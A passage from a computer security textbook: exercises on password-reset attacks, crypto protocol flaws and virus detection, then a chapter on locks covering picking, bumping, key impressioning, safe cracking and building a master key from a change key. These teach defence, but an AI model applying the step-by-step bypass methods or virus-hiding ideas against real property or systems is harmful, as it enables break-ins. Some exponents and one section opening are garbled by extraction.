owner can then access this web site to see what is inside their
refrigerator without opening the door. For security reasons, the
HF Corporation encrypts this picture using a proprietary algorithm
and gives the 4-digit PIN to decrypt this picture to the Monitator’s
owner, so he or she can get access to the pictures of their Monita-
tor’s interior. What are the security concerns and principles that
this solution does and doesn’t support?

R-23 During the 2008 U.S. Presidential campaign, hackers were able
to gain access to an email account of Vice Presidential candidate,
Sarah Palin. Their attack is said to have involved tricking the
mail system to reset Governor Palin’s password, claiming they
were really Palin and had forgotten this password. The system
asked the hackers a number of personal questions regarding Palin’s
identity, including her birthday, zip code, and a personal security
question—“Where did you meet your spouse?”—all of which the
hackers were able to answer using data available on the Internet.
What kind of attack is this an example of? Also, what degree of
security is provided by a password reset feature such as this?

Creativity

C-1 Describe an architecture for an email password reset system that is
more secure than the one described in Exercise R-23, but is still
highly usable.

C-2 Describe an instance of a file that contains evidence of its own
integrity and authenticity.

C-3 Suppose an Internet service provider (ISP) has a voice over IP
(VoIP) telephone system that it manages and sells. Suppose further
that this ISP is deliberately dropping 25% of the packets used in
its competitors VoIP system when those packets are going through
this ISP’s routers. Describe how a user could discover that his ISP
is doing this.

C-4 Computer viruses, by their very nature, have to be able to replicate
themselves. Thus, a computer virus must store a copy of itself in-
side its own code. Describe how this property of computer viruses
could be used to discover that a computer virus has infected a
certain operating system file.
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C-5 Suppose that you are a computer virus writer; hence, you know
that you need to store a copy of the code for your virus inside
the virus itself. Moreover, suppose you know that a security
administrator is also aware of this fact and will be using it to
detect the presence of your virus in operating systems files, as
described in the previous problem. Explain how you can hide the
embedded copy of your virus so that it is difficult for the security
administrator to find it.

C-6 Describe a hybrid scheme for access control that combines both
the access control list and capabilities models. Explain how the
records for this hybrid model can be cross-linked to support object
removal and subject removal in time proportional to their number
of associated access rights; hence, not in time proportional to all the
subject-object access right pairs.

C-7 Give two examples of attacks that compromise the integrity of the
meta data of files or directories in a file system.

C-8 A rootkit is a piece of malicious software that installs itself into an
operating system and then alters all of the operating system utility
programs that would normally be able to detect this software so
that they do not show its presence. Describe the risks that would
be posed by such software, how it could actually be discovered,
and how such an infection could be repaired.

C-9 Benny is a thief who tried to break into an Automated Teller Ma-
chine (ATM) using a screwdriver, but was only able to break five
different keys on the numeric keypad and jam the card reader, at
which point he heard Alice coming, so he hid. Alice walked up,
put in her ATM card, successfully entered her 4-digit PIN, and took
some cash. But she was not able to get her card back, so she drove
off to find help. Benny then went back to the ATM, and started
entering numbers to try to discover Alice’s PIN and steal money
from her account. What is the worst-case number of PINs that
Benny has to enter before correctly discovering Alice’s PIN?

C-10 As soon as Barack took office, he decided to embrace modern tech-
nology by communicating with cabinet members over the Internet
using a device that supports cryptographic protocols. In a first
attempt, Barack exchanges with Tim brief text messages, encrypted
with public-key cryptography, to decide the exact amounts of
bailout money to give to the largest 10 banks in the country. Let
pB and pT be the public keys of Barack and Tim, respectively. A
message m sent by Barack to Tim is transmitted as EpT (m) and the
reply r from Tim to Barack is transmitted as EpB(r). The attacker
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can eavesdrop the communication and knows the following infor-
mation:

• Public keys pB and pT and the encryption algorithm
• The total amount of bailout money authorized by congress

is $900B
• The names of the largest 10 banks
• The amount each bank will get is a multiple of $1B
• Messages and replies are terse exchanges of the following

form:

Barack: How much to Citibank?
Tim: $144B.
Barack: How much to Bank of America?
Tim: $201B.
· · ·

Describe how the attacker can learn the bailout amount for each
bank even if he cannot derive the private keys.

C-11 As a result of the above attack, Barack decides to modify the
protocol of Exercise C-10 for exchanging messages. Describe two
simple modifications of the protocol that are not subject to the
above attack. The first one should use random numbers and the
second one should use symmetric encryption.

C-12 Barack often sends funny jokes to Hillary. He does not care about
confidentiality of these messages but wants to get credit for the
jokes and prevent Bill from claiming authorship of or modifying
them. How can this be achieved using public-key cryptography?

C-13 As public-key cryptography is computationally intensive and
drains the battery of Barack’s device, he comes up with an alter-
native approach. First, he shares a secret key k with Hillary but
not with Bill. Next, together with a joke x, he sends over the value
d = h(k||x), where h is a cryptographic hash function. Does value
d provide assurance to Hillary that Barack is the author of x and
that xwas not modified by Bill? Justify your answer.

C-14 Barack periodically comes up with brilliant ideas to stop the fi-
nancial crisis, provide health care to every citizen, and save the
polar bears. He wants to share these ideas with all the cabinet
members but also get credit for the ideas. Extending the above
approach, he shares a secret key k with all the cabinet members.
Next, he broadcasts each idea z followed by value h(k||z). Does
this approach work or can Tim claim that he came up with the ideas
instead of Barack? Justify your answer.
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C-15 Describe a method that allows a client to authenticate multiple
times to a server with the following requirements:

a. The client and server use constant space for authentication.
b. Every time the client authenticates to the server, a different

random value for authentication is used (for example, if you
have n authentication rounds, the client and the server have
to use n different random values—this means that sharing a
key initially and using it for every round of authentication is
not a valid solution).

Can you find any vulnerabilities for this protocol?

C-16 Consider the following method that establishes a secret session key
k for use by Alice and Bob. Alice and Bob already share a secret key
KAB for a symmetric cryptosystem.

a. Alice sends a random value NA to Bob along with her id, A.
b. Bob sends encrypted message EKAB(NA), NB to Alice, where

NB is a random value chosen by Bob.
c. Alice sends back EKAB(NB).
d. Bob generates session key k and sends EKAB(k) to Alice.
e. Now Alice and Bob exchange messages encrypted with the

new session key k.
Suppose that the random values and the keys have the same
number of bits. Describe a possible attack for this authentication
method.
Can we make the method more secure by lifting the assumption
that the random values and the keys have the same number of bits?
Explain.

C-17 Alice and Bob shared an n-bit secret key some time ago. Now
they are no longer sure they still have the same key. Thus, they
use the following method to communicate with each other over an
insecure channel to verify that the key KA held by Alice is the same
as the key KB held by Bob. Their goal is to prevent an attacker from
learning the secret key.

a. Alice generates a random n-bit value R.
b. Alice computes X = KA ⊕ R, where ⊕ denotes the exclusive-

or boolean function, and sends X to Bob.
c. Bob computes Y = KB ⊕ X and sends Y to Alice.
d. Alice compares X and Y. If X = Y, she concludes that KA =

KB, that is, she and Bob have indeed the same secret key.
Show how an attacker eavesdropping the channel can gain posses-
sion of the shared secret key.
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C-18 Many Internet browsers “lock the lock” on an encrypted web site so
long as the digital certificate offered for this site matches the name
for this web server. Explain how this could lead to a false sense of
security in the case of a phishing attack.

C-19 Explain the risks to Bob if he is willing to sign a seemingly random
string using his private key.

C-20 Describe a good solution to the problem of having a group of
students collaborate on a software construction project using the
directory of one of the group members in such a way that it would
be difficult for nonmembers to discover and would not require the
help from a system administrator, assuming that the only access
rights the group leader can modify are those for “everyone.” You
may assume that access rights for directories are “read,” “write,”
and “exec,” where “read” means the files and subdirectories in that
directory can be listed, “write” means members of that directory
can be inserted, deleted, or renamed, and “exec” on a directory
or subdirectory means the user can change his location to that
directory or subdirectory so long as he specifies its exact name.

C-21 Suppose an operating system gives users an automatic second
chance functionality, so that any time a user asks to delete a file
it actually gets put into a special “recycle bin” directory, which is
shared by all users, with its access rights defined so that users can
get their files back even if they forget their names. Describe the
security risks that such a functionality poses.

C-22 Suppose, in a scenario based on a true story, a network computer
virus is designed so as soon as it is copied onto a computer, X, it
simply copies itself to six of X’s neighboring computers, each time
using a random file name, so as to evade detection. The virus itself
does no other harm, in that it doesn’t read any other files and it
doesn’t delete or modify any other files either. What harm would
be done by such a virus and how would it be detected?

Projects

P-1 Implement a “toy” file system, with about a dozen different users
and at least that many directories and files, that uses an access
control matrix to manage access control rights.

P-2 Perform the project of Problem P-1, but use access control lists.

P-3 Perform the project of Problem P-1, but use capabilities to define
the access control rights of each user.
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P-4 Perform a statistical analysis of all the spam you get in a week,
classifying each as to the types of attacks they are.

P-5 Implement a toy symmetric cryptosystem based on the following
method.

a. Keys are 16-bit values.
b. Messages are strings with an even number of characters. One

can always add a blank at the end of an odd-length string.
c. The encryption of a message M of length n (in bytes) is given

by
EK(M) = M⊕ (K||K|| · · · ),

where the key K is repeated n/2 times.
d. The decryption algorithm for a ciphertext C is the same as the

encryption algorithm:

DK(C) = C⊕ (K||K|| · · · ).

Implement a brute-force decryption attack for this cryptosystem
and test it on randomly generated English text messages. Au-
tomate the process of detecting whether a decrypted message is
English test.

Chapter Notes

The ten principles of computer security are from the seminal paper by Saltzer and
Schroeder [86], who caution that the last two principles (work factor and com-
promise recording) are derived from physical security systems and “apply only
imperfectly to computer systems.” The open design principle was first formulated
in a paper by 19th-century French cryptographer Auguste Kerckhoffs [47]. Bruce
Schneier’s Crypto-Gram Newsletter has a well-written article on secrecy, security,
and obscurity [88]. A contemporary introduction to cryptography and its use in
computer systems is given in the book by Ferguson, Schneier and Konho [30]. The
redundancy of natural language was first formally studied by Claude Shannon in
his pioneering paper defining the information-theoretic concept of entropy [91].
Usability issues for email encryption are the subject of an experimental study by
Whitten and Tygar [107].
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1 Physical Protections and Attacks

We live in a physical world. This is an obvious fact, of course, but it
is surprisingly easy to overlook when discussing the security of digital
information. Our natural tendency is to consider computer security strictly
in a digital context, where computers are accessed only over a network or
through a well-specified digital interface and are never accessed in person
or with physical tools, like a hammer, screwdriver, or container of liquid
nitrogen. Ultimately, however, digital information must reside somewhere
physically, such as in the states of electrons, magnetic media, or optical
devices, and accessing this information requires the use of an interface
between the physical and digital worlds. Thus, the protection of digital
information must include methods for physically protecting this interface.

Physical security is broadly defined as the use of physical measures
to protect valuables, information, or access to restricted resources. In this
chapter, we examine the physical dimensions of computer security and
information assurance, focusing on the following aspects:

• Location protection: the protection of the physical location where
computer hardware resides, such as through the use of locks.

• Physical intrusion detection: the detection of unauthorized access to
the physical location where computer hardware resides.

• Hardware attacks: methods that physically attack the hardware rep-
resentations of information or computations, such as hard drives,
network adapters, memory chips, and microprocessors.

• Eavesdropping: attacks that monitor light, sound, radio, or other
signals to detect communications or computations.

• Physical interface attacks: attacks that penetrate a system’s security
by exploiting a weakness in its physical interface.

We discuss these physical aspects of computer security and information
assurance and we give several examples of vulnerabilities in the physical
aspects of some security solutions, including smart cards, automated teller
machines (ATMs), radio-frequency identification (RFID) tags, biometric
readers, and voting machines. An important theme that runs throughout
this discussion is the way in which physical security directly impacts the
integrity and protection of computer hardware and digital information.
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2 Locks and Safes

The notion of using a mechanical locking device to protect access to a
building, vehicle, or container has been in use since ancient times. Primitive
tumbler locks, which are discussed below, have been found in the ruins
of ancient Egyptian and Persian cities. Today, a wide variety of locks are
in common usage, including those that require a key, a combination, or
both, and these mechanisms are often used to protect the physical locations
where computers and digital media are stored. This section covers com-
monly used lock types and techniques for attacking them without having
the corresponding key or combination.

2.1 Lock Technology

Pin Tumbler Locks

The most commonly used type of keyed lock is the pin tumbler lock,
illustrated in Figure 1. In this design, a cylindrical plug is housed within
an outer casing. The lock is opened when the plug rotates and releases a
locking bolt, typically through a lever. When the lock is closed, the rotation
of the plug is prevented by a series of pin stacks, which are housed in holes
that have been drilled vertically through the plug and the outer casing. A
pin stack typically consists of two cylindrical pins. The top pins, called
driver pins, are spring loaded.

Figure 1: A pin tumbler lock: (1) When a key is not present, the pin stacks
are pushed down by the springs so that the driver (top) pins span the plug
and the outer casing, preventing the plug from rotating. Image included
with permission [108]. (2) When the correct key is inserted, the ridges of
the key push up the pin stacks so that the cuts of the pin stacks are aligned
with the shear line. Image included with permission [75]. (3) The alignment
of the cuts with the shear line allows the plug to be rotated. Image included
with permission [76].
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The bottom pins are called the key pins, since they make contact with
the key when the key is inserted. The heights of the respective driver
and key pins can vary. When there is no key inserted, the springs force
the pin stacks down so that the driver pins span the plug and the outer
casing, preventing the plug from rotating. When the appropriate key is
inserted, however, the ridges of the key push up the pin stacks so that the
cut between each key pin and its driver pin is at the point where the plug
meets the outer casing, known as the shear line, allowing the plug to rotate
and open the lock.

Tubular and Radial Locks

A variation on the classic pin tumbler design is known as the tubular lock,
or radial lock, depicted in Figure 2. The premise is the same: several
spring-loaded pin stacks prevent the rotation of the plug by obstructing the
shear line. Rather than having the pins located on a line parallel to the axis
of the plug, as in the traditional pin tumbler lock, the pins of a tubular lock
are arranged in circle. As a result, keys are cylindrical in shape. These locks
are most commonly used on laptops, vending machines, and bicycles.

Figure 2: Opening a tubular lock: (1) Closed lock. Image included with
permission [68]. (2) After inserting the key. Image included with permis-
sion [69]. (3) Open lock. Image included with permission [70].
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Wafer Tumbler Locks

A third type of lock in common usage is known as the wafer tumbler lock,
depicted in Figure 3. Again, the general principle of the lock relies on
preventing the rotation of a central plug. This time, the obstruction is a
series of wafers that initially sit in a groove at the bottom of the outer
casing. When the appropriate key is inserted, the wafers are raised out
of this groove and allow the plug to rotate. Wafer tumbler locks are used in
cars, filing cabinets, and other medium security applications.

Figure 3: Opening a wafer tumbler lock: (1) Closed lock. Image included
with permission [71]. (2) After inserting the key. Image included with
permission [72]. (3) Open lock. Image included with permission [73].

Combination Locks

A combination lock is any lock that can be opened by entering a predeter-
mined sequence of numbers. Combination locks typically come in one of
three varieties, multiple dial, single dial, and electronic. Multiple-dial locks
feature a sequence of notched disks around a toothed pin, as depicted in
Figure 4.

Figure 4: Opening a multiple-dial combination lock. Image included with
permission [74].

Physical Security

59



When the disks are rotated to the correct combination, the notches
line up with the teeth of the pin, allowing it to be removed. Multiple-
dial combination locks are often used in briefcases, bicycle locks, and
other low-security applications, since it is often easy to quickly deduce the
combination because of mechanical imperfections. Single-dial combination
locks are generally considered more secure and are used in a wide variety
of applications, including safes, which are discussed later in this section.
Single-dial locks feature a series of disks attached to a numbered dial. When
the correct combination is entered using the dial, these disks line up in such
a way as to release a clasp or some other locking mechanism.

In an electronic combination lock, an electronic mechanism is used to
operate the lock using electromagnets or motors that are activated through
an event that either turns on or turns off an electric current. The event that
opens an electronic lock could be triggered by a number of different actions,
including the following (which could be used in conjunction):
• An electronic combination: the punching of an appropriate sequence

of numbers on a keypad in a given amount of time

• A magnetic stripe card: a plastic card with a magnetic stripe (Sec-
tion 3.2) that contains an authorizing digital combination

• A smart card: a small computational device contained in a card, as
discussed in Section 3.3, that performs an authorizing computation
to open the lock

• An RFID tag: a small radio frequency identification device that
contains a computational element or memory, as discussed in Sec-
tion 3.4, that either performs an authorizing computation or trans-
mits an electronic combination

• A biometric: a biological characteristic, as discussed in Section 3.5,
that is read and matches a characteristic authorized to open the lock

One advantage of electronic locks is that it is relatively easy to change
the combination or condition that opens such a lock—there is no need to
change a physical plug or swap out pins. For instance, most hotels employ
electronic lock systems for their guest rooms, allowing for easy changing of
locks between consecutive guests staying in the same room.

Another advantage is that electronic locks can be fitted with digital stor-
age devices or can be connected to a communication network to monitor
and manage when the locks are opened and closed. The monitoring can
even log who has entered and left through the doors that are fitted with
the various locks in a building, by using different digital combinations or
opening devices for different people. This type of monitoring was useful,
for example, in determining who murdered a Yale graduate student in 2009.
The monitoring system showed that the student had entered a secured
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building, but never left, and it also allowed authorities to determine all
the people who had entered the specific room where her body was found.
Electronic locks are also frequently used in audit trails for regulatory com-
pliance, especially in the health care and financial sectors.

Master and Control Keys

Many organizations require a key system that incorporates a hierarchy of
access control. For example, some systems feature locks that have keys
specific to each lock, known as change keys, as well as a single master key
that can open all of the locks in the system. Larger and more complex
organizations may have several different master-keyed systems, with a
single grandmaster key that can open any lock in the organization. Some
locks also accept a control key, which enables a locksmith to remove the
entire core of the lock from its outer casing, allowing easy rekeying.

Locks designed to be opened by a master key have at least two keyings,
one for the change key and one for the master key. Multiple keyings are
created by inserting spacers, or very short pins, between the driver and key
pins. The height of the master key should be greater than that of the change
key to prevent the owner of a change key from filing down their key to
create a master key.

Master-keyed systems require the owner to incorporate access control
policies and procedures for when a key is lost or stolen. If a master key
is lost, it is necessary to rekey the entire system to prevent compromise.
Handling the loss of a change key is left to the discretion of the organization,
however. Some choose to merely rekey the specific lock that accompanies
the lost key, while others rekey the entire system to ensure that the missing
key does not allow an attacker to create a master key.

Safes

Valuables can be secured against theft by placing them in a safe. Safes
can range from small lockboxes in homes to large, high-security safes in
banks. Safes can feature any of the locking mechanisms discussed in this
chapter, but most high-security models employ a combination dial, with
the possible addition of biometric authentication and electronic auditing.

No safe is impenetrable. In fact, safes are rated by organizations such as
Underwriters Laboratories (UL) in terms of how long it would take a well-
equipped expert to compromise the safe. In their ratings, they consider both
destructive and nondestructive approaches. Owners of safes are advised
to ensure that the response time to alarms is less than the average time
required to crack the safe.
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2.2 Attacks on Locks and Safes

There are several ways to attack locks and safes, so as to open them without
use of a key or a priori knowledge of a combination.

Lockpicking

The classic approach to bypassing locks is known as lockpicking, which
exploits mechanical imperfections in the locking mechanism that allow an
attacker to replicate the effect of an authorized entry. (See Figure 5.)

(a) (b)

Figure 5: Lockpicking: (a) A lock picker attempts to open a padlock by
applying a rotational force with a tension wrench and picking the pins
individually. Photo by Dan Rosenberg included with permission. (b) Lock-
picking tools. Photo by Jennie Rogers included with permission.

As a simple example, let us examine the common pin tumbler lock.
Recall from Section 2.1 that this type of lock features a cylindrical plug
whose rotation is prevented by pins obstructing the shear line (where the
plug meets the outer casing). To pick a tumbler lock using a common
technique, an attacker first inserts a tension wrench into the keyhole of the
lock and applies a slight rotational force. The plug will rotate a very small
amount before being stopped by the pins. In particular, one of the pins will
be directly in contact with the cylinder—this is known to lock pickers as a
binding pin. Only one pin comes in contact with the cylinder because of
slight imperfections in the manufacturing process causing the pin stacks to
not line up perfectly. Using a feeler pick, the attacker first probes each pin,
lifting it slightly to assess the amount of friction experienced. The binding
pin will offer greater resistance to motion due to it making contact with the
cylinder. The attacker then carefully raises the binding pin until the break
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between the key pin and the driver pin is in line with the shear line. At
this point, the plug will further rotate by a tiny amount until it is stopped
by the next binding pin. The driver pin of the previous binding pin will
now sit on a small ledge created by the additional rotation of the plug (it
is “bound”). The attacker then repeats the process for the remaining pins,
identifying and lifting them. When the last pin is picked, all of the pin
breaks are aligned with the shear line, and the rotational force applied by
the tension wrench will open the lock.

It takes a high degree of skill and intuition to determine when a pin
has bound. Lock pickers must practice extensively to recognize the feeling
of a pin binding in a locking mechanism. To make the process easier,
lock pickers often employ a method known as raking or scrubbing. In
this technique, a pick designed to lift several pins simultaneously is run
through the keyhole using a back and forth scrubbing motion in an attempt
to bind more than one pin at the same time. Once several pins are bound,
the remaining pins can be individually picked. Alternatively the attacker
can make another pass with the rake to attempt to set more pins. Pickers
typically use a snake or half-diamond rake for this purpose.

Another approach that can work on inexpensive locks is the use of a
comb pick. For simpler locks an attacker can lift all of the pins simultane-
ously above the shear line using a tool that resembles a hair comb. Once
the pins have been pushed all the way into the lock housing then the plug
is free to rotate. Well-made models combat this weakness by making sure
that the pin stack is long enough to always extend past the shear line.

Lock Bumping

Lock bumping is a technique that received widespread media attention
in 2006. The technique utilizes specially crafted bump keys, which are
unique to each particular brand of lock. (See Figure 6.)

Figure 6: Bump keys and hammer. Photo by Jennie Rogers included with
permission.
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Bump keys are made by taking an appropriate key blank (matching a
specific lock brand) and filing down each of the pin ridges to the lowest
setting, keeping the teeth in between each ridge. To “bump” a lock, the
bump key is inserted into the keyhole, and then withdrawn a small amount
so that each tooth rests immediately behind a pin. While applying a slight
rotational force, the bump key is then reinserted by tapping it with a
hammer or other object. This results in the ridges hitting the pin stacks.
As a consequence, the key pins transfer kinetic energy to the driver pins,
which jump above the shear line for a split second, allowing the plug to be
rotated. Interestingly, more expensive locks are often more vulnerable to
bumping because a reduction in mechanical imperfections allows the pins
to move more freely when being bumped.

Professional locksmiths and law enforcement agents often employ the
use of an electronic pick gun, which operates on the same principle as lock
bumping. A pick gun has a single pick that is vibrated rapidly and transfers
energy to all of the pins simultaneously. During the split second after this
energy transfer, which attempts to force the driver pins above the shear line,
the pick gun applies a brief rotational force to attempt to open the lock.

Key Duplication and Impressioning

Several methods can be used to create a key for a given lock. A locksmith
can easily create a key duplicate if the original is available, for instance. It is
not always even necessary to have an original on-hand, however—a mere
photograph of the key can be used if the locksmith is able to deduce the
type of key and approximate its cut. Another technique used sometimes to
“capture” a key consists of briefly taking it and pressing it into a soft, clay-
like material that can later be hardened into a mold for key creation. A key
does not need to be made of metal to be effective.

Another technique that is used to bypass locks is known as key impres-
sioning. An attacker begins with a key blank matched to a specific lock
brand. The top of the blank is polished, and then the key is inserted into the
target lock. A rotational force is applied to the key, which is then jiggled up
and down. The blank is finally removed. Each pin that is not at the shear
line will have left a small scrape on the polished blank. At each scraped
location, the attacker files off a small amount of material. The process is
repeated until no scrapes are created, resulting in a key that can open the
lock. Key impressioning requires the use of keys blanks made of a soft
metal, such as brass. Also, the attacker must use a very precise filing tool,
such as a jeweler’s file.
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High Security Locks

A number of innovations have been developed to make bypassing locks
more difficult.

One preventative measure is the incorporation of security pins, such as
mushroom head pins or spool pins. In this design, the pins are narrower
towards the middle, but flare outwards at the top and bottom. This design
does not prevent normal operation of the lock, since a proper key moves
the entire pin above the shear line. This technique makes picking more
difficult, however, because the pin may bind in its midsection, preventing
an attacker from binding the pin properly and from knowing whether or
not the pin has bound in the correct place.

Another form of security pin is a serrated pin. This pin has a series of
small ridges around it that make the pin feel like it is perpetually setting on
the shear line to a lock picker working one pin at a time. Thus each time an
attacker lifts a pin it gives the feeling that the cylinder is rotating slightly,
despite it only moving up the ridges. The top and bottom pins may both
have the ridges to further mislead an unauthorized user.

Security pins may defend against ordinary picking, but do little to
stop techniques such as bumping. For this reason, lock manufacturers
have developed high-security models that do not rely on the traditional
pin tumbler design. Medeco developed a lock called the Biaxial that uses
angular bitting, which requires that each of the pins must be elevated and
rotated by the angled cuts of the key.

As another example, Abloy manufactures a disc tumbler lock that uti-
lizes a series of notched disks. This unique design makes traditional picking
and bumping approaches impossible, but this lock may be vulnerable to
other means of circumvention.

Higher security locks (including Medeco Biaxial and its variants) fea-
ture an internal sidebar, which prevents the cylinder from turning until
all of the pins have been rotated and aligned, making picking extremely
difficult. The lock is marketed as being bump-proof, but recent research
suggests that highly specialized bump keys may still make bumping possi-
ble.

In addition, high security locks tend to be manufactured to tighter
specifications, making it more challenging for a lock picker to identify
the binding pins and feel out a lock. Also, to buy more time against a
destructive attack, most higher security models also feature drill-resistant
pins, which prevent an attacker from being able to use an off-the-shelf drill
to attack the shear line of a lock.
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High-value targets, such as nuclear facilities and banks, naturally re-
quire more security precautions for their locks. Typically, these require-
ments are mandated by either insurance underwriters or the government.
There are two main standards for locks commonly used in the United
States: Underwriters Laboratories (UL) 437 and ANSI/Building and Hard-
ware Manufacturers Association (BHMA) 156.30.

These standards attempt to model how well a product will stand up to
well-known attacks, including destructive and non-destructive approaches.
In the case of UL, this means that they evaluate whether a lock can with-
stand picking, impressioning, drilling, pulling, driving, and salt spray cor-
rosion. Each of these tests consists of a specified number of minutes that the
lock must withstand the attack, where the picking and impressioning must
be performed by a certified locksmith with at least five years of experience.

The reader my have noticed that bumping is not included in the list of
UL tests. This attack was first widely published in 2006 and it can take
many years to update standards for vulnerabilities as they are discovered.
This is one of the weaknesses of the standards system. Criminals do not
necessarily follow “well-known” methods of compromising locks and it
behooves them not to share their techniques. A lock certified according
to a standard may be still vulnerable to highly skilled attackers.

Compromising higher security locks often requires domain-specific
knowledge and substantial research. A general specification may not en-
compass the necessary tests for all high security locks. For example, the
attack by Tobias and Bluzmanis exploiting a vulnerability in the Medeco
Biaxial system requires learning specialized codes to rotate the pins in the
correct orientation.

The certification system also makes responsible disclosure for these
locks considerably more complex. There is no common method to issue
“patches” for locks in the field, nor retract a certification for a lock. Like
many other aspects of security, high security lock management is a process
that goes back and forth between security researchers and manufacturers.

Safe Cracking

There are many approaches to safe cracking. The classic approach, often
portrayed in movies, involves a highly skilled expert manipulating the dial
of the safe by feel and sound until they deduce the combination. To pre-
vent this attack, many safe manufacturers include additional components
inside the locking mechanism that are designed to prevent an attacker from
correctly interpreting sounds and tactile clues. In addition, the wheels of
the locking mechanism are often made with light materials such as nylon,
reducing the noise and friction created by manipulating the lock.
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An attacker may also attempt to drill through the front of the safe to
see the lock’s inner workings or to directly manipulate the lock mechanism.
High-security safes incorporate composite hardplate, which is an extremely
rugged material designed to be resistant to drilling or other structural dam-
age. Only highly specialized drilling equipment can be used to breach these
materials. Brute-force techniques, such as explosives, may be employed,
but often these approaches are impractical, because they risk damaging the
contents of the safe. To further prevent drilling, many safes feature what is
known as a glass relocker, a thin glass plate that resides in the door of the
safe. If this glass is broken, by drilling or some other force, spring-loaded
bolts are released, permanently locking the safe.

Side Channel Attacks

Many of the principles observed in the design and circumvention of physi-
cal locks are analogous to essential principles of computer security. It is im-
portant to keep in mind that manipulating the mechanism of a lock is only
one way to gain unauthorized access. For example, a door with a highly
secure lock does little good if the door can be removed by unscrewing its
hinges. Attacks such as these are referred to as side channel attacks. (See
Figure 7.)

Figure 7: A side channel attack vulnerability: the fire escape on the side of
the building may lead to an entry point that is easier to attack than the front
door. Photo by Jennie Rogers included with permission.
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In a side channel attack, rather than attempting to directly bypass secu-
rity measures, an attacker instead goes around them by exploiting other
vulnerabilities not protected by the security mechanisms. Side channel
attacks are sometimes surprisingly simple to perform.

A classic example of a side channel attack is door plunger manipulation.
In doors that feature a plunger rather than a deadbolt, it may be possible
to open the door by inserting a flat object in between the door and the
doorframe (e.g., a slender screw driver) and manipulating the plunger until
the door opens. This attack can be prevented by shielding the plunger or
by using a deadbolt, but provides a good example of a situation where
picking the locking mechanism may be difficult, but opening the door is
still possible.

The concept of side channel attacks doesn’t only apply to locks and
safes. It can be applied to other aspects of computer security as well, since
attackers often search for the simplest way of bypassing security, rather
than the most obvious. Thus, the security of computer and information
systems should be analyzed in a holistic way, looking at both physical and
digital attacks, so as to identify the most vulnerable components in the
system.

2.3 The Mathematics of Lock Security

The number of possible combinations or configurations for a set of objects,
for which we are interested in finding one particular such object, is com-
monly known as a search space. In computer security, the most common
type of search space is the set of all possible keys used in a cryptographic
function. A large search space reduces the possibility of a brute-force attack,
where all possible combinations are tried. Therefore, anything that reduces
the size of the search space would be extremely valuable for an attacker.

Protecting Against Brute-Force Attacks

The mathematics of search spaces also applies to lock security, of course.
Traditional pin tumbler locks feature between 4 and 7 pin stacks, where
the number of possible heights for the key pins is typically between 4
and 8. Higher quality locks have more pins stacks and a larger number
of possible key pin heights. UL specifies that standard locks should have at
least 1, 000 potential combinations, or differs, and that security containers
have 1, 000, 000 or more differs. In addition, there are around 40 common
varieties of key blanks. Collectively, this results in a search space where the
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number of possible keys is no more than

40× 87 = 83,886,080.

If we know the specific key blank, the search space is much smaller. For
example, for a given key blank with 6 pin stacks and 5 possible key pin
heights, the number of possible keys is

56 = 15,625,

which is still large enough to prevent a brute-force attack. For this reason,
attacks such as picking, key impressioning, and bumping are employed
instead of brute-force techniques.

The mathematics of counting finite collections of objects is known as
combinatorics, by the way, and the above analysis is an example of a
combinatorial argument that quantifies the security of a pin tumbler lock.

Reducing the Size of a Search Space

There are situations where effective use of combinatorics can allow for the
bypassing of locks. For example, in standard lock picking, the attacker
“solves” the lock one pin at a time, breaking the problem into two phases:
finding the binding pin and then raising it slowly. If our attacker has P
pin stacks and D possible pin heights this divide-and-conquer approach
produces a search space of size P · D instead of PD.

Privilege Escalation

Matt Blaze published a paper detailing how an attacker can use combina-
torics to create a master key from an ordinary change key on a master-keyed
lock system. This attack, which is an iterative master-key construction, is
analogous to privilege escalation in computer security, where an attacker
leverages a low-privilege ability into a high-privilege ability.

The attack works as follows. Consider a lock having the same config-
uration of P and D as above. The attacker has a change key and wants to
build a master key using a small number of keys blanks. The only basic
operation used by the attacker is to test whether a given key opens the lock.
For simplicity, we will use the term pin to denote a key pin.

Starting with the first pin stack, the attacker creates D − 1 keys, each
keeping all pins but the first at the same height as in the change key, and
trying all possible variations for the first pin height (except for the height
of the first pin in the change key). The key that results in opening the lock
reveals the height for the first pin of the master key. The process is then
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repeated for each of the remaining pins, and a final master key is made
using each pin’s successful key. The above attack requires a total number
of key blanks that is at most

P · (D− 1).

Also, at most P · (D− 1) lock opening tests are performed.

In the case where a high-quality lock has 7 pin stacks and 8 possible key
heights, this technique would require a maximum of 49 key blanks, which
is within the realm of possibility. A lower quality lock with 5 pin stacks and
5 possible key heights would instead require no more than 20 key blanks.
Alternatively, the attacker could file the test keys down on the fly, requiring
only P key blanks.

Further Improvements

The search space in this case can be reduced even further, however, depend-
ing on the lock manufacturer. The maximum adjacent cut specification
(MACS) of a lock defines the maximum vertical distance allowed between
any two adjacent key cuts. If this distance is exceeded, the key will have
a steep spike that will be breakable, cause the lock to jam, or prevent a
pin from sitting properly. Removing all sequences that would violate the
MACS of a particular lock from the search space results in a significant
reduction in size. In addition, some master-keyed systems require that the
master key pins are higher on the pin stack than the change keys, which
further reduces the search space.

As another example of combinatorics at work, some brands of single-
dial combination padlocks have mechanical dependencies as a result of
the manufacturing process. As a result of these dependencies, it may be
possible to drastically reduce the number of combinations for testing. On
one brand, which has a dial ranging from 1 to 40 and requires a 3-number
combination, it is possible to reduce the search space from 60,000 (403) to
only 80, making a brute-force attack much more feasible.

It is important that single-dial combination locks have some sort of reset
mechanism that is triggered whenever someone attempts to open that lock
after trying a combination. If no such reset mechanism exists, the final digit
of the combination is essentially rendered useless, since it requires a trivial
amount of time to iterate through each final number, trying each one. This
is an example of a measure that prevents a reduction of the search space.
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3 Authentication Technologies

something they possess, and something they are. In this section, we dis- 
cuss some physical means for achieving authentication   through the use of

human).

3.1 Barcodes

Printed labels called barcodes were developed around the middle of the
20th century as a way to improve efficiency in grocery checkout, and are
now used universally in applications as diverse as identifying wildlife.
First-generation barcodes represent data as a series of variable-width, ver-
tical lines of ink, which is essentially a one-dimensional encoding scheme.
(See Figure 8a.)

Some more recent barcodes are rendered as two-dimensional patterns
using dots, squares, or other symbols that can be read by specialized optical
scanners, which translate a specific type of barcode into its encoded infor-
mation. Among the common uses of such barcodes are tracking postage,
purchasing mass merchandise, and ticket confirmation for entertainment
and sporting events. (See Figure 8b.)

(a) (b)

Figure 8: Examples of barcodes: (a) A one-dimensional barcode. (b) A
two-dimensional barcode, which was used for postage.

The authentication of individuals can be derived from something they know,

something a person possesses or something they are (namely, a healthy
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Barcode Applications

Since 2005, the airline industry has been incorporating two-dimensional
barcodes into boarding passes, which are created at flight check-in and
